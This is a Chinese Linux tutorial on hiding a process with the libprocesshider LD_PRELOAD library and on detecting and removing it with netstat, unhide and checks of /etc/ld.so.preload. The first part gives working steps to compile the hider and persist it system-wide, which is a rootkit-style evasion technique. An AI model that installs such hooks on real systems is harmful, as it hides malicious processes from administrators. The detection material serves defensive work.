一、隐藏进程
1. 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载
2. 思路就是利用 LD_PRELOAD 来实现系统函数的劫持
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为 LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以 malloc 为例,如果我们有个自定义的 malloc 函数,把它编译成动态库后,通过 LD_PRELOAD 加载,当程序中调用 malloc 函数时,调用的其实是我们自定义的函数
安装
[root@kangcw ~]# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Enumerating objects: 30, done.
remote: Total 30 (delta 0), reused 0 (delta 0), pack-reused 30
Unpacking objects: 100% (30/30), done.
[root@kangcw ~]# cd libprocesshider/
[root@kangcw libprocesshider]# ls
evil_script.py Makefile processhider.c README.md
#修改自己要隐藏进程名
[root@kangcw libprocesshider]# vim processhider.c #打开
...
static const char* process_to_filter = "xianyu_cb"; ##定义的进程名 xianyu_cb
...
编译
[root@kangcw libprocesshider]# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
移动文件到/usr/local/lib/目录下
[root@kangcw libprocesshider]# mv libprocesshider.so /usr/local/lib/
把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
或者添加/etc/profile
[root@kangcw libprocesshider]# cat /etc/profile |tail -n 1
export LD_PRELOAD=/usr/local/lib/libprocesshider.so
测试
没用调用那个模块前
启动一个进程
[root@kangcw libprocesshider]# ./xianyu_cb cb &
[1] 17131
[root@kangcw libprocesshider]# Waiting for the server to connect...
[root@kangcw libprocesshider]# ps -ef |grep xianyu
root 17131 17041 0 20:36 pts/2 00:00:00 ./xianyu_cb cb #是可以看到这个进程
root 17149 17041 0 20:36 pts/2 00:00:00 grep --color=auto xianyu
启用后
[root@kangcw libprocesshider]# vim /etc/profile
[root@kangcw libprocesshider]# source /etc/profile
[root@kangcw libprocesshider]# ./xianyu_cb cb&
[1] 17731
[root@kangcw libprocesshider]# Waiting for the server to connect...
[root@kangcw libprocesshider]# ps -ef|grep xianyu #实现xianyu_cb 进程隐藏
root 17749 17411 0 20:38 pts/2 00:00:00 grep --color=auto xianyu
[root@kangcw libprocesshider]#
processhider.c
- 程序定义了一个变量 process_to_filter 来控制不显示哪个进程名
- 重写 readdir,
strcmp(process_name, process_to_filter) == 0)
当发现当前进程名称与 process_to_filter 相同时,继续循环.
-
某些 Linux 中这个程序编译通不过
解决方法
删除最后两行中的一行
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
-
某些 Linux 中使用
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload #如果执行上述命令并不会生效 #此时我们需要配置环境变量编辑/etc/profile,新增LD_PRELOAD配置 [root@localhost ~] vi /etc/profile 。。。。 export LD_PRELOAD=/usr/local/lib/libprocesshider.so 。。。。
二、如何发现隐藏进程
1、先排查网络情况(异常)
通过 netstat查看异常网络
或者通过iftop查看异常网络
2、使用unhide工具
unhide
是一个小巧的网络取证工具,能够发现那些借助 rootkit,LKM 及其它技术隐藏的进程和 TCP / UDP 端口。这个工具在 Linux,UNIX 类,MS-Windows 等操作系统下都可以工作。
安装
[root@localhost ~]# yum install unhide
Loaded plugins: fastestmirror, langpacks, priorities
。。。。。。。。。。。。。
Complete!
使用
使用unhide proc
发现隐藏进程 xianyu_cb,如下图所示:
三、杀死隐藏进程
1、先排查定时任务
[root@localhost ~]# crontab -l
no crontab for root
2、先排查环境变量(ld.so.preload)
#检查1
[root@localhost /]# cat /etc/ld.so.preload
#/usr/local/lib/libprocesshider.so
#检查2
[root@localhost /]# echo $LD_PRELOAD
#如何检查2存在异常文件,使用unset删除 LD_PRELOAD 环境变量
[root@localhost /]# unset LD_PRELOAD
x、杀死进程
[root@localhost ~]# kill -9 xxxx